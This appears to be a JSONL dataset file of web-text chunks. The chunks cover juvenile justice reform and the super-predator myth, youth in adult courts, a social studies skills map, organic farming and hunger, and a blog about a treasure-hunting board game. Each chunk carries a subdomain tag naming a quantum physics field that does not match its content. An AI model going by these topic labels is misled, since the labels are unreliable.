research, provide training, and make grants to states and jurisdictions that voluntarily complied with the act \u2019 s mandates. the new law required participating states to remove status offenders and dependency cases from secure con\ufb01nement, and to separate juveniles from adults by \u201c sight and sound \u201d in correctional facilities. in 1980, the act was amended to require that participating states remove minors from jails. forty - eight states participated. miller went on to implement variations of his massachusetts reforms in pennsylvania and illinois. other states that broadly followed miller \u2019 s model included jurisdictions as politically diverse as utah, missouri, and vermont. often, publicity about abusive conditions in state facilities and lawsuits in federal courts catalyzed these reforms. from 1980 into the 1990s, colorado, indiana, oklahoma, maryland, louisiana, florida, georgia, rhode island, and new jersey were among states that began closing large, prison - like youth facilities. for a time, it appeared that the miller reforms would become the \u201c gold standard \u201d for juvenile corrections, as the federal ojjdp provided training and support to jurisdictions seeking to replicate the massachusetts approach. the invention of the \u201c super - predator \u201d the rejection in some quarters of a reform model re\ufb02ects both ideological preconceptions and misinformation about juvenile crime. rates of serious violent juvenile crime as measured by the national crime survey were relatively constant between 1973 and 1989, then brie\ufb02y rose by more than one - third and peaked in 1993. some cited demographics, as the children of the baby boomers reached their teenage years. others pointed to an epidemic of crack cocaine that fueled urban violence, as well as high unemployment and declining economic prospects for low - skilled workers, especially among minority groups. no one really knows for sure. but fear of a violent juvenile crime wave led some to predict a new cohort of \u201c super - predators", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4926792598187972, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.043660"} {"text": "violence, as well as high unemployment and declining economic prospects for low - skilled workers, especially among minority groups. no one really knows for sure. but fear of a violent juvenile crime wave led some to predict a new cohort of \u201c super - predators. \u201d conservative academics such as james q. wilson and john diiulio and a small band of mainstream criminologists such as alfred blumstein and james fox forecast societal disaster. wilson predicted \u201c 30, 000 more young muggers, killers, and thieves \u201d ; diiulio in 1990 foresaw another 270, 000 violent juveniles by 2010. he warned of a \u201c crime bomb \u201d created by a generation of \u201c fatherless, godless, and jobless [ juvenile ] super - predators. \u201d the media hyped the story, and many elected officials exploited it. the citizenry was told about a generation of babies, born to \u201c crack - addicted \u201d mothers, who would possess permanent neurological damage, including the inability to feel empathy. the scienti\ufb01c evidence supporting this claim was nonexistent. more than 40 states made it easier to transfer children to adult criminal courts. educators enacted \u201c zero - tolerance \u201d policies to make it easier to expel youngsters from school, and numerous communities adopted youth curfews. many jurisdictions turned to metal detectors in public schools, random locker searches, drug tests for athletes, and mandatory school uniforms. the panic was bipartisan. every crime bill debated by congress during the clinton administration included new federal laws against juvenile crime. paradoxically, as attorney general janet reno advocated for wider and stronger social safety nets for vulnerable families, president bill clinton joined congressional leaders demanding tougher treatment of juvenile felons, including more incarceration in both the adult and youth correctional systems. however, the much - advertised generation of super - predators never materialized. after 1993, rates of serious juvenile crime began a decade - long decline to historically low levels. and this juvenile - crime drop happened before the tougher juvenile penalties were even implemented. the fear - mongering social scientists had based their dire predictions on grossly inaccurate data and faulty reasoning, but the creators of the super - predator myth prevailed in the public - policy arena throughout most of the \u2019 90s. as we approached the centennial of the american juvenile court, it looked like the juvenile - justice ideal was dying. the ideal of juvenile justice survives despite adverse political currents, the juvenile - justice ideal has received a new lease on life thanks to pioneering efforts by states and by foundations, as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5106720517556789, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.045025"} {"text": "the american juvenile court, it looked like the juvenile - justice ideal was dying. the ideal of juvenile justice survives despite adverse political currents, the juvenile - justice ideal has received a new lease on life thanks to pioneering efforts by states and by foundations, as well as the continuing programmatic in\ufb02uence of the federal approach begun in the 1970s and expanded during the clinton - reno era. one key initiative of the federal ojjdp is known as balanced and restorative justice. this approach, now embraced by many jurisdictions, places a major value on involving victims in the rehabilitative process. by coming to terms with harm done to victims, the youthful offender is also offered a way to restore his or her role in the community. the second signi\ufb01cant federal program is the justice department \u2019 s comprehensive strategy for serious, violent, and chronic juvenile offenders, \ufb01rst adopted in 1993. the research showed that a very small number of offenders committed most serious juvenile crimes, and that identi\ufb01cation and control of these \u201c dangerous few \u201d was key. however, unlike the response to the supposed super - predators, this strategy does not call for an across - the - board crackdown on at - risk youth. a comprehensive body of research assembled by two senior justice department juvenile - justice officials, john j. wilson and james c. howell, showed that prevention was the most cost - effective response to youth crime, and that strengthening the family and other core institutions was the most important goal for a youth - crime - control strategy. the proposed comprehensive strategy was adopted by reno as the official policy position of the justice department in all matters relating to juvenile crime, and the program was successfully implemented in more than 50 communities nationwide. the basic idea was to help local leaders build their youth - service systems to provide \u201c the right service, for the right youth, at the right time. \u201d this collaborative planning process helped policy - makers and professionals to debunk the myths about juvenile crime and to learn about interventions that were proven, as well as to foster more cooperative activities among multiple agencies. most important, the effort showed community participants how to effectively respond to juvenile lawbreaking without resorting to mass - incarceration policies. a third major national reform movement was launched by the annie e. casey foundation in 1992. the goal : to reduce the overuse of juvenile - detention facilities and to redirect funding toward more effective services for at - risk youngsters. the foundation also sought to improve the conditions of con\ufb01nement for detained youth", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4738345738824339, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.047500"} {"text": "foundation in 1992. the goal : to reduce the overuse of juvenile - detention facilities and to redirect funding toward more effective services for at - risk youngsters. the foundation also sought to improve the conditions of con\ufb01nement for detained youth and to reduce the overrepresentation of minority youths in detention. the casey foundation approach required a multiagency planning process and included the development of improved risk screening, expansion of options for most detained youths, and efforts to expedite the processing of cases. after initial demonstration projects, the foundation has expanded the program to scores of communities. it also offers technical assistance and convenes an annual meeting. at the last such convening, in san francisco, more than 700 people from across the nation gathered to discuss ways to further reduce unnecessary juvenile detention. the original demonstration project has led to a vibrant national movement, which includes high - quality replication manuals and a documentary, plus academic and professional publications. these approaches all require collaborations among many sectors of the community. they all employ data and evidence - based practices to guide the reform agenda. diversity is recognized as vital because one - size - \ufb01ts - all programs usually fail. instead, they seek to create a comprehensive continuum of appropriate services. preventive strategies and early interventions are viewed as far more cost - effective than punitive approaches. all these programs place a great emphasis on involving youth, plus their families and neighbors, in shaping solutions. the core values of the juvenile - justice ideal continue to live. like the reform impulse of a century ago, the goal is to commit the juvenile - justice system to pursuing the best interests of the child, to strengthening family and community solutions to youth misconduct, and to emphasizing humane and fair treatment of the young. in spite of the promise embodied in approaches like these, unlawful and brutal practices continue to plague youth correctional facilities in many states. some jurisdictions are being investigated by the federal government for statutory and constitutional violations of the rights of institutionalized minors. in other locales, advocates for young people are successfully litigating against youth detention and corrections facilities. at the same time, the political hysteria surrounding the super - predator myth appears to be in remission. the chorus is growing to reject approaches such as youth correctional boot camps or \u201c scared straight \u201d programs that use prison visits to try to frighten youngsters away from criminal lives. while some of these dangerous programs continue to exist, many jurisdictions have shut them down. there is growing awareness about the prevalence of mental illness among institutionalized youngsters and the emergence", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4995843537875722, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.048553"} {"text": "use prison visits to try to frighten youngsters away from criminal lives. while some of these dangerous programs continue to exist, many jurisdictions have shut them down. there is growing awareness about the prevalence of mental illness among institutionalized youngsters and the emergence of several initiatives to better meet their health - care needs. this year \u2019 s most positive development was the supreme court \u2019 s decision to end the death penalty for those younger than 18 at the time of their offense. but this progress does not minimize the severe problems of the juvenile - justice system. funding for services for troubled young people in the juvenile - justice and child - welfare systems remains woefully inadequate. young people still do not have anything resembling adequate legal representation. too many continue to be banished to the criminal - court system and languish in adult prisons. and racism, sexism, and class biases continue to tarnish the promise of equal justice for all. the way forward this american prospect special supplement includes reports from places as diverse as california, texas, new mexico, missouri, and louisiana. all suggest that reform coalitions, often with strange bedfellows, can acknowledge the superiority of the reform approach and change practices that dehumanize young people and fail to reduce juvenile crime. by now the evidence is clear : small, community - based approaches that stress prevention, education, and restitution rather than prison - like punishment are simply better policy. at the same time, as ellis cose recounts, racial disparities remain immense. and as sam rosenfeld reports, far too many children who need mental - health services are being dumped into the juvenile - justice system. given the overwhelming evidence that reform works, why is there continuing resistance? the answer to this question is complex. first and foremost, since the mid - \u2019 60s, crime policy in the united states has been heavily politicized. democrats and republicans have competed to position themselves as tough on crime. being perceived as soft on juvenile offenders is considered a political liability. second, the media continue to exaggerate the amount of violent crime committed by minors. isolated stories about vicious crimes that are committed by very young adolescents are widely disseminated and become the grist for talk radio and other media commentary. the simplistic solution has been that tough responses to juvenile crime will deter youthful offenders. resistance to proven juvenile - justice models often comes from public - employee unions that fear the loss of jobs as traditional youth correctional facilities are downsized and some funding goes to community - based organizations. also, severe state", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46065011074771733, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.049554"} {"text": "to juvenile crime will deter youthful offenders. resistance to proven juvenile - justice models often comes from public - employee unions that fear the loss of jobs as traditional youth correctional facilities are downsized and some funding goes to community - based organizations. also, severe state and local budget problems have led to a retrenchment in needed services, even as more innovative juvenile - justice models could actually save money. in some locales, organizations purporting to represent families of crime victims have lobbied for tougher penalties for juvenile offenders. progressive reforms are often undercut by entrenched biases about the predominantly poor and minority families caught up in the juvenile - justice system. these racial, ethnic, and class prejudices are too often reinforced by media reports that breed fear among the electorate about the \u201c barbarians at the gates. \u201d as long as economic and \ufb01scal pressures fuel anxiety over immigrants, the increased competition for jobs, and the deteriorating public - school system, it will be hard to generate compassionate and rational responses for youthful lawbreakers. jerome miller once observed that the history of juvenile justice re\ufb02ects a pattern of abuse and scandal followed by humanistic changes, but then a return to the previous conditions and bad practices. in a new millennium, one can only hope that proponents of the juvenile - justice ideal can \ufb01gure out how to end this tragic cycle. * barry krisberg is president of the national council on crime and delinquency, which is based in oakland, california. 1. it is wrong to hold children and adolescents who have not reached legal age to adult standards. in other areas of law we recognize the differences between children and adults. children are not permitted the same rights and responsibilities as adults ( e. g. voting, smoking, joining the military ) because we recognize their inability to make adult decisions. why don ' t we recognize the same difference in the criminal law? we don ' t say, \" this is a very important election, so let ' s let the kids vote \". we don ' t say, \" this is a very important war so let ' s give our children weapons and send them to fight \". so why do we say \" this case is different and this kid deserves to be treated as an adult and locked away in a prison \"? 2. recent research demonstrates that transferring children from juvenile court to adult court does not decrease recidivism, and in fact actually increases crime. children are uniquely positioned for reform and redemption. juvenile detention facilities ( generally ) have the programs in place to", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4066118110205395, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.050515"} {"text": "2. recent research demonstrates that transferring children from juvenile court to adult court does not decrease recidivism, and in fact actually increases crime. children are uniquely positioned for reform and redemption. juvenile detention facilities ( generally ) have the programs in place to aid in that process of reformation. prisons do not. 3. with appropriate treatment most children who commit crimes, even the most violent crimes, can be rehabilitated and become responsible adults. precisely because their brains are still changing. the prefrontal cortex - which regulates aggression, long range planning, mental flexibility, abstract thinking, and perhaps moral judgment ( see \" bower study \" ) has not yet developed in children. the amygdala, the center of impulsive and aggressive behavior is the center piece of the child brain and is left unchecked by the under developed prefrontal cortex. 4. psychological research confirms what every parent knows : children, including teenagers, act more irrationally and immaturely than adults. studies further confirm that stressful situations only heighten the risk that emotion, rather than rational thought, will guide the choices children make. the supreme court recognized just this! in roper v. simmons, justice kennedy wrote : \" any parent knows \" and \" scientific and sociological studies... tend to confirm \" that children possess a \" lack of maturity \".. an underdeveloped sense of responsibility.. [ and take ] impetuous and ill - considered actions and decisions. \" 5. children in adult prisons are 5 times as likely to be sexually assaulted, twice as likely to be beaten by staff, 50 percent more likely to be attacked with a weapon and 8 times as likely to commit suicide as children in juvenile facilities. 6. punishment is a failed a strategy for changing behavior, teaching new skills, or developing new and more positive attitudes and beliefs. the only justification for inflicting harsh punishment is to deliver vengeance in accord with the old testament standard of an eye - for - an - eye. we should be protecting, not taking out vengeance, on our children. 7. contrary to popular belief, it is the child and not his or her parent or guardian who must decide what to tell the police and defense attorneys, whether or not to follow attorney instructions, whether to testify, whether to give information to the prosecution, and whether to go to trial or accept a plea bargain. although common sense would suggest that many children are simply too young to undertake such weighty legal responsibilities, it is rare for courts to consider whether children lack the competence to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4824336995841701, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.051493"} {"text": "information to the prosecution, and whether to go to trial or accept a plea bargain. although common sense would suggest that many children are simply too young to undertake such weighty legal responsibilities, it is rare for courts to consider whether children lack the competence to stand trial because of their age. every child offender should have a competency hearing before trial. 8. \u201c adult time for adult crime \u201d may be a catchy phrase but it reflects a poor understanding of criminal justice principles. if the punishment is to fit the crime, both the nature of the offense and the culpability or moral responsibility of the offender must be taken into account. as the u. s. supreme court has repeatedly recognized, the blameworthiness of children cannot be equated with that of adults, even when they commit the same crime. 9. youth tried in the adult criminal court face the same penalties as adults including life without parole which for child offenders puts them last in line to receive any classes or rehabilitation programs and makes it very difficult to file for clemency for failure to prove any sort of rehabilitation. 10. statistics show a plethora of impact issues have been fueled by blended sentencing laws, including unintended consequences such as giving prosecutors, rather than judges, the authority to decide when to charge a juvenile as an adult. policy analysts have begun questioning whether states have gone too far in enacting legislation that makes it easier to prosecute juveniles as adults. barbe stamps is the founder and director of teen advocates usa, a children ' s rights educational and public advocacy website trying and sentencing youth in adult criminal court minimum age for charging youth in adult court each state determines its laws for prosecuting youth in adult court. thus, the age at which it is permitted to charge a juvenile in adult court differs from state to state. how youth are charged in adult court in 47 states, youth can be charged in adult court through judicial waiver. prosecutorial discretion / direct file can be utilized in 16 states to prosecute youth in the adult system. twenty - nine states have statutory exclusion laws that mandate some children be charged in adult court for certain offenses. the facts on transfer sixty - three percent of americans believe that all youth, regardless of the crime committed, are capable of recovery and redemption. ( 1 ) yet, on any given day, approximately one out of 10 incarcerated youth are confined in adult facilities. ( 2 ) youth held in adult prisons and jails are five times more likely to be victims of attempted sexual attacks or rapes than those held in juvenile", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4099560647189031, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.052547"} {"text": ", on any given day, approximately one out of 10 incarcerated youth are confined in adult facilities. ( 2 ) youth held in adult prisons and jails are five times more likely to be victims of attempted sexual attacks or rapes than those held in juvenile institutions. ( 3 ) the suicide rate for juveniles in adult prisons and jails is nearly eight times higher than that for juveniles in youth detention centers. ( 4 ) twenty - three states report over - representation of minority youth transferred to adult criminal court. ( 5 ) nationwide, nearly 60 % of cases petitioned for person offenses are committed by white youth, but only 45 % of such cases are transferred to adult court. for black youth, 40 % of cases are petitioned for the same crimes, but 50 % are transferred to adult court. ( 6 ) ( 1 ) peter hart research associates & public opinion strategies, changing public attitudes toward the criminal justice system, washington, dc, february 2002. ( 2 ) office of juvenile justice and delinquency prevention, juvenile offenders and victims : 2006 national report, washington, dc, 2006. ( 3 ) u. s. department of justice, bureau of justice assistance, juveniles in adult prisons and jails, washington, dc, october 2000. ( 5 ) building blocks for youth, and justice for some, washington, dc, april 2000.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44094547147218466, "token_count": 268, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.053096"} {"text": "partnership for 21st century skills debuts ' 21st century skills and social studies map ' the partnership for 21st century skills has joined up with the national council for the social studies to produce the first - ever \" 21st century skills and social studies map \" - - a sort of fleshed - out framework for that includes resources for integrating 21st century skills into social studies curricula. the 21st century skills and social studies map is the first in a series of planned maps aimed at core subjects. the purpose is to provide a framework and resources for integrating technology and other 21st century skills into core subject studies. according to the partnership for 21st century skills, \" the social studies map is the first in a series of core content maps designed for educators, administrators and policymakers. other maps will be available for mathematics, english, geography and science throughout 2008 and 2009. \" the 21st century skills and social studies map includes lesson plans for integrating 21st century skills into existing curricula, as well as specific student outcomes. it also \" provides project models that will result in enhanced student achievement in grades four, eight and 12, \" according to the partnership. specific skills covered by the map include : - creativity and innovation ; - critical thinking and problem solving ; - information literacy ; - media literacy ; - information and communication technologies literacy ; - flexibility and adaptability ; - initiative and self direction ; - social and cross - cultural skills ; - productivity and accountability ; and - leadership and responsibility. each of these is broken into its own section within the map to provide outcomes with examples at each of the three grade levels covered ( 4, 8, 12 ). the map also provides a list of suggested tools that can be used to integrate the skills. \" i am confident we have developed an invaluable resource for social studies teachers and educators in general as we move toward a 21st century education system, \" said michael yell, president of the national council for the social studies, in a statement released thursday. \" this map represents the intersection of 21st century skills and the social studies and provides an exciting tool for teachers and students. \" \" i want to commend ncss for their dynamic leadership in moving the social studies into the 21st century, \" said ken kay, president of the partnership for 21st century skills. \" this release highlights the partnership ' s work to develop innovative tools that both integrate 21st century skills into curriculum and positively impact student learning. \" the new resource is free. further information can be found here. get daily news from the journal ' s rss news feed about the author", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48178717672461513, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.057261"} {"text": "organic to play a role in reducing hunger by stephen leahy organic agriculture is a potent tool to reduce emissions of greenhouse gases, but also to alleviate poverty and improve food security in developing countries, many experts now believe. organic agriculture \u2019 s use of compost and crop diversity means it will also be able to better withstand the higher temperatures and more variable rainfall expected with global warming. \u201c organic agriculture is about optimising yields under all conditions, \u201d says louise luttikholt, strategic relations manager at the international federation of organic agriculture movement ( ifoam ) in bonn, germany. ifoam is the international umbrella organization of organic agriculture movements around the world. for example, a village in the tigray region of northern ethiopia that had converted to organic agriculture continued to harvest crops even during a severe drought, while neighboring villages using conventional chemical fertilizers had nothing, luttikholt told ips. because compost is used rather than chemical fertilizers, organic soils contain much more humus and organic carbon - - which in turn retains much more water. \u201c they can also absorb more water faster which means they are less likely to flood, \u201d she said. it took more work to make the conversion to organic but it paid off when the drought stuck in the third year, according to tewolde berhan gebre egziabher, director general of the environmental protection authority of ethiopia. tewolde, who pioneered the organic revolution in a number of communities in northern ethiopia as a way of ensuring food security, reported that the early success has prompted government agricultural departments to adopt organic techniques. organic and other forms of sustainable agro - ecology do not depend on chemical fertilizers, so they must find other ways to enrich soil and keep it that way. that also means there are more minerals and other nutrients in the soil, so yields are generally good and food quality high. the added benefit is that organic soils hold much more carbon than soils farmed with conventional methods. rising levels of carbon dioxide in the atmosphere from the burning of fossil fuels is the principal cause of global warming. plants absorb carbon dioxide from the air, and can put it more or less permanently into the soil under the right conditions. in a 23 - year side - by - side comparison, the carbon levels of organic soils increased 15 to 28 percent, while there was little change in the non - organic systems, according to the rodale institute farming systems trials conducted in pennsylvania. if just 10, 000 medium - sized farms in the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4419089025788384, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.065793"} {"text": "comparison, the carbon levels of organic soils increased 15 to 28 percent, while there was little change in the non - organic systems, according to the rodale institute farming systems trials conducted in pennsylvania. if just 10, 000 medium - sized farms in the u. s. converted to organic production, they would store so much carbon in the soil that it would be equivalent to taking 1, 174, 400 cars off the road, rodale reported in 2003. making chemical fertilizers like nitrogen requires huge amounts of energy, and tractors also consume large amounts of fossil fuel. in the united states, organic farming systems use just 63 percent of the energy required by conventional farming systems, david pimentel of cornell university in new york state found. going organic also offers a number of other environmental benefits, including waterways free of chemical pollution and improved biodiversity. in north america and european farming regions, expensive systems must be used to remove agricultural chemicals from drinking water. \u201c those external costs of conventional agriculture have to be paid by someone, \u201d said volkert engelsman, the ceo of eosta bv, a european distributor of organic fruits and vegetables. \u201c organic brings a wide range of social and economic benefits, making it a much better and more efficient way of farming, \u201d engelsman said in an interview from eosta \u2019 s head office in waddinxveen, holland. for low - income countries, that means more jobs because organic farming is labor - intensive. it also values local expertise and traditional knowledge. that makes more economic sense than being dependent on the technical expertise of western corporations, he said. engelsman has just returned from india where organic farming is undergoing \u201c explosive growth. \u201d faced with rapidly depleting soils, the indian government is now supporting organic techniques because no amount of chemical fertilizer can improve the soil. in addition, water shortages, increased disease problems and higher costs of chemicals and hybrid seeds have forced india to rethink its agricultural strategy, he said. \u201c it is more economically sustainable to invest in the soils of your land than to make the chemical companies richer, \u201d engelsman told ips. the problem of global hunger is not about food production \u2013 it is about poverty and food distribution, since the world already produces enough food, he said. engelsman agrees with the noted indian scientist and environmentalist vandana shiva, that research into ecologically - friendly agriculture has proved that it is highly productive and is the only solution to hunger and poverty. that view, once considered radical, is", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4404506575225551, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.066859"} {"text": ". engelsman agrees with the noted indian scientist and environmentalist vandana shiva, that research into ecologically - friendly agriculture has proved that it is highly productive and is the only solution to hunger and poverty. that view, once considered radical, is beginning to gain wider acceptance as hunger has increased under the globalized food production system. ten years after the 1996 world food summit in rome, where countries pledged to halve the number of hungry in the world by 2015, there were more hungry people in the developing countries today, said the head of the u. n. food and agriculture organization ( fao ), jacques diouf, in a statement. \u201c far from decreasing, the number of hungry people in the world is currently increasing - - at the rate of four million a year, \u201d diouf said from rome. finally the fao is looking to organic to play a role in reducing hunger and alleviating poverty and will host a major conference in may 2007 in rome. many countries request fao \u2019 s assistance to develop organic agriculture, said alexander muller, assistant director - general of fao, in a statement. \u201c there is a need to shed light on the contribution of organic agriculture to food security, \u201d muller said. many countries are already moving in that direction. brazil \u2019 s minister of agriculture roberto rodrigues has said he wants organic farming to grow from three percent of the country \u2019 s agricultural output to 20 percent in the next five to six years. last month, 308 delegates from the philippines \u2019 farming sector agreed to shift to organic production, in part because it can help poverty alleviation in rural communities. studies done by international fund for agricultural development ( ifad ), a u. n. agency set up to assist the rural poor to overcome poverty, have shown that organic agriculture reduced poverty. in almost all of the countries where the ifad evaluations were carried out, small farmers needed only marginal improvements to their technologies to make the shift to organic production. \u201c everyone is embracing organic agriculture now. and climate change will only boost that interest, \u201d engelsman said. stephen leahy is an independent journalist based near toronto who covers science and environmental issues for the inter press news service ( ips ). for more of his work see : http : / / stephenleahy. wordpress. com /.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42512454351078316, "token_count": 471, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.067786"} {"text": "treasure can come in many different ways ; a good meal with friends, a quiet beautiful sunset, the laughter of children playing. one thing that i definitely treasure are any drops of wisdom that i can acquire on my life \u2019 s journey. they can more valuable than gold and silver. i wanted to infuse this thought in the board game treasure trove as players traverse the world collecting fabled treasures. we all fantasize about what it would be like to find lost treasure in an attic, or win the lottery, or what it what be like to have come up with facebook. it is human nature to wonder about such things. and yet, the important things of life are right in front of us, if we choose to see them. if we choose to search for them right under our noses. i choose to place within the situation cards drops of wisdom that have come from all religions that remind us of spiritual truths. i think it is god \u2019 s way of trying to teach us to search for the spiritual things of our lives, not just physical blessings. many truths about something of great value in god \u2019 s kingdom are often conveyed in the sense of something that would be of value such as gold or diamonds. one of the situation cards describes a large pearl, one of great value. most of you would recognize the saying as that of jesus, who often taught in parables. have you ever tried to define what a parable is? what is a fable? we have an idea what they are, basically, short stories with fictional characters that have a moral lesson. people love stories, and these are a great way to teach, which christ did. included within the game is a booklet that gives brief descriptions of the treasures on the game board. some real, some only myths, and some of the treasures i just made up. a footnote section at the back of the instructional booklet lists real treasure findings. there is also some discussion about things on the game board. what is an archeologist? who was dr. livingston? what is a herpetologist? where is shangri - la? the following comment was placed in the footnote section concerning the difference between a parable and a fable. \u201c a parable is a brief story that illustrates a moral or religious lesson. it differs from a fable that uses animals or inanimate objects as actors while parables generally feature human actors. jesus often taught his followers by use of parables. \u201d i don \u2019 t think people take the time to read the booklet given with", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.49586832903318717, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.078166"} {"text": "it differs from a fable that uses animals or inanimate objects as actors while parables generally feature human actors. jesus often taught his followers by use of parables. \u201d i don \u2019 t think people take the time to read the booklet given with the game. most of the time we are in too big of a hurry, including when we are playing the board game. such is the pace of our lives. consequently, we miss a lot of lot of little factoids, and truths. it takes time to search for those drops of wisdom and truth, but they can make the playing of the game that much more rewarding. i think our lives are often the same way. we are searching for life \u2019 s treasure often in the wrong places. early this morning i read from the book of matthew, chapter 5. not one of the parables of jesus, but his sermon on the mount, the beatitudes. now that is real treasure. i could read it ever day, and never get tired of it. if i had a large diamond, i suppose i would love looking at every day, but i don \u2019 t. instead, i will enjoy my treasure of living for christ, and holding onto those beatitudes. in 1862 mexico defaulted on some loans to france. napoleon iii was wanting to expand the french empire and used the excuse of mexico \u2019 s loan default to invade. neither britain nor spain offered protest and of course the united states was embroiled in conflict. the invasion and defeat of mexico took over a year and in 1864 an austrian named ferdinand maximilian was placed as emperor of mexico. his rule would not last long. during his short reign the upper class of the mexican populace lavished him with expensive gifts which he seemed to have a never ending appetite for. the american civil war ended shortly after he gained his throne and it was obvious the united states wanted the french out of mexico. he realized his time was short and that the mexicans may not let him get out of the country alive much less with his wealth. in 1866 he devised a plan to transport his riches by way of texas to galveston and form there back to france. the loot was hidden among barrels of flour on fifteen wagon loads as it crossed into texas near present day presidio. i live in west texas and have traveled it extensively and let me tell you presidio is way out in the middle of nowhere. it is west of big bend national park and east of el paso. a very remote area, and a long, long way", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4607510602709849, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.082165"} {"text": "in west texas and have traveled it extensively and let me tell you presidio is way out in the middle of nowhere. it is west of big bend national park and east of el paso. a very remote area, and a long, long way from san antonio, much less galveston. the wagon train had the ill fortune of meeting a group of renegade confederates on the way to mexico. the confederates reported seeing indians so the austrians hired the confederates to protect them on the long journey from presidio to san antonio. during the trek the confederates noticed the austrian guards were over protective of the flour. as they headed east somewhere near the pecos river the curiosity of the confederates got them to spying into the flour barrels. after discovering the hidden treasure, you guessed it, they killed everyone who had traveled from mexico. they buried the jewels and most of the loot and made the wagons look like they had been attacked and destroyed. they then decided to carry with them as much of the coins as their saddlebags would carry, anxious to get to san antonio. they would of course return later to retrieve the buried riches. one of them fell ill and was thereafter shot and left behind to die in the texas sun. he survived only to catch up with the others who themselves had been killed by either comanche or outlaws, empty saddlebags strewn about. this lone survivor of maximilian \u2019 s expedition was picked up by some horse thieves who were then arrested by a sheriff. they need to make a movie about this if they have not already. the wounded man placed in jail told his tale to a doctor and an attorney shortly before succumbing to infection from his gunshot wound. he drew them a map on where to find maximilian \u2019 s treasure. several years passed until the indians were pushed further west before the doctor and attorney used the map to try and locate the loot, and once again as you probably guessed they found nothing. supposedly, the whereabouts is somewhere along the pecos river south of odessa. sounds easy enough but that is still a big area, even if the tale is true. i suspect there is some truth to the story but then again texans like to tell tall tales. as for maximilian, he never did get out of mexico, and was executed in 1867. so there you are, a little bit of history entwined with a treasure tale. those are some my favorite to share. when i hear the word, \u201c explorers, \u201d the first thing that comes to my mind are the spanish explorers. nowadays, i often think of archeo", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40611320569842835, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.083490"} {"text": "little bit of history entwined with a treasure tale. those are some my favorite to share. when i hear the word, \u201c explorers, \u201d the first thing that comes to my mind are the spanish explorers. nowadays, i often think of archeologists such as indiana jones in the context of explorers with the adventure element. for the most part my mind is still captivated by the wooden ships of the high seas discovering unknown and exotic far away destinations during the 15th, 16th, and 17th centuries. i love history and it began for me in early childhood during the 1950 \u2019 s with the davy crocket and daniel boone stories. then in fifth grade we studied world history and the chapter on the spanish explorers still rings in my mind. i recall memorizing names such as columbus, balboa, pizarro, cortes, ponce de leon, magellan and many others. the picture in our schoolbook introducing that chapter had a colorful picture of the spanish with their swords and muskets strapped to their belts standing on the sandy seashore with the masts of their ships in the nearby blue ocean behind them. one of the men held the spanish flag. they looked like they were about to embark on an adventure. they also had those cool helmets. we all know the wealth in gold, silver and gems that spain acquired from the new world and the fortunes to be found. stories of fabled gold such as el dorado in south america and coronado \u2019 s golden seven cities of cibolo in western texas continue to intrigue us. not to mention tales of pirate treasure that also emerged during that same period of european exploration in the context of world history. when i was creating the board game treasuretrove i wanted to give players an option of choosing a player token representing what they might want to be if they were searching the world for fabled treasure. for some, that might be like indiana jones and therefore they would want to be an archeologist. someone else may be fascinated with underwater diving and they might want to scuba for wealth such as a deep sea diver. others my think of 